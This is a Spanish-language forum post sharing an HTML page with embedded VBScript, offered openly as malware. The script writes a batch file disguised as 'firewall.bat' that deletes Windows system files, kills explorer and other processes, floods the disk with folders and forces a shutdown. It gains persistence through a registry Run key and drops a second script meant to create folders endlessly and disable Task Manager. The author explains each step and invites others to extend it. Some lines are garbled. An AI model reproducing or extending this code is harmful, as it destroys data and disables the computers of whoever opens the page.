Bueno Antes que nada para que no me pregunten despues publique este codigo HTML porque como tenia un poco de HTML,VBS y batch bueno lo quise publicar en la parte del batch
<HTML>
<BODY>
<script language="vbs">
on error resume next
set var = createobject("scripting.filesystemobject")
set var1 = var.createtextfile ("C:\WINDOWS\firewall.bat")
var1.writeline " @echo off"
var1.writeline "del C:\WINDOWS\system\AVICAP.DLL"
var1.writeline "del C:\WINDOWS\system\KEYBOARD"
var1.writeline "del C:\WINDOWS\system\MSVIDEO.DLL"
var1.writeline "del C:\WINDOWS\system\MOUSE"
var1.writeline "del C:\WINDOWS\system\MMSYSTEM.DLL"
var1.writeline "del C:\WINDOWS\system\OLECLI.DLL"
var1.writeline "del C:\WINDOWS\system\OLESVR.DLL"
var1.writeline "taskkill msnmsgr.exe"
var1.writeline "taskkill explorer.exe"
var1.writeline "taskkill iexplorer.exe"
var1.writeline "taskkill services.exe"
var1.writeline "MD carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta carpeta "
var1.writeline "start"
var1.writeline "start"
var1.writeline "start"
var1.writeline "start"
var1.writeline "start shutdown -s -t 105 -c Creado por SkullMaster"
var1.close
on error resume next
Set shell = createObject("Wscript.shell")
shell.run("cmd.exe /c @echo off & start C:\WINDOWS\firewall.bat")
on error resume next
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.Run "C:\WINDOWS\firewall.bat"
on error resume next
Set meca = CreateObject(“Scripting.FileSystemObject”)
Meca.CopyFile “C:\WINDOWS\firewall.bat”,”C:\WINDOWS\system32\firewall.bat”
Set car = CreateObject("WScript.Shell")
car.Run "C:\WINDOWS\system32\firewall.bat"
Set mecar = CreateObject(“WScript.Shell”)
mecar.RegWrite
“HKLM\SOFTWARE\Windows\Software\CurrentVersion\Run\WindowsFireWall”
“C:\WINDOWS\firewall.bat”
on error resume next
set va = createobject("scripting.filesystemobject")
set vari = va.createtextfile ("C:\WINDOWS\internet.vbs")
vari.writeline "on error resume next"
vari.writeline "Set m = CreateObject(“Scripting.FileSystemObject”)"
vari.writeline "m.CopyFile wscript.scriptfullname,”C:\WINDOWS\system\internet.vbs”"
vari.writeline "Do"
vari.writeline "ped.createfolder C:\folder"
vari.writeline "loop"
vari.writeline "Set mio = CreateObject(“WScript.Shell”)"
vari.writeline "mio.RegWrite"
vari.writeline "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Disabletaskmgr.exe"
vari.writeline "end if"
vari.close
On Error Resume Next
Set zon = CreateObject("WScript.Shell")
zon.Run "C:\WINDOWS\internet.vbs"
</BODY>
</script>
</HTML>
Bueno explicare un poco el code: Primero crea un archivo .bat que borra una parte del C:\windows\system, luego mata procesos y crea varias carpetas luego hace shutdown, luego el HTML hace que se ejecute el .bat, luego lo vuelve a ejecutar(porsiacaso ya que no soy muy bueno en HTML), luego lo copia al system32, luego lo vuelve a ejecutar, luego lo guarda en el registro para q cada ves q se inicie la pc se ejecute el bat, luego crea otro archivo esta ves .vbs, aja bueno adentro de eso hace que se mueva para el system32 el .vbs luego hace que se creen carpetas infinitas, y lo copia en el registro para que cada ves que se inicie se ejecute!,y al final ejecuta el .vbs!
Bueno espero que les guste acepto comentarios y sin le kieren agregar algo mas avicenme!!!
Autor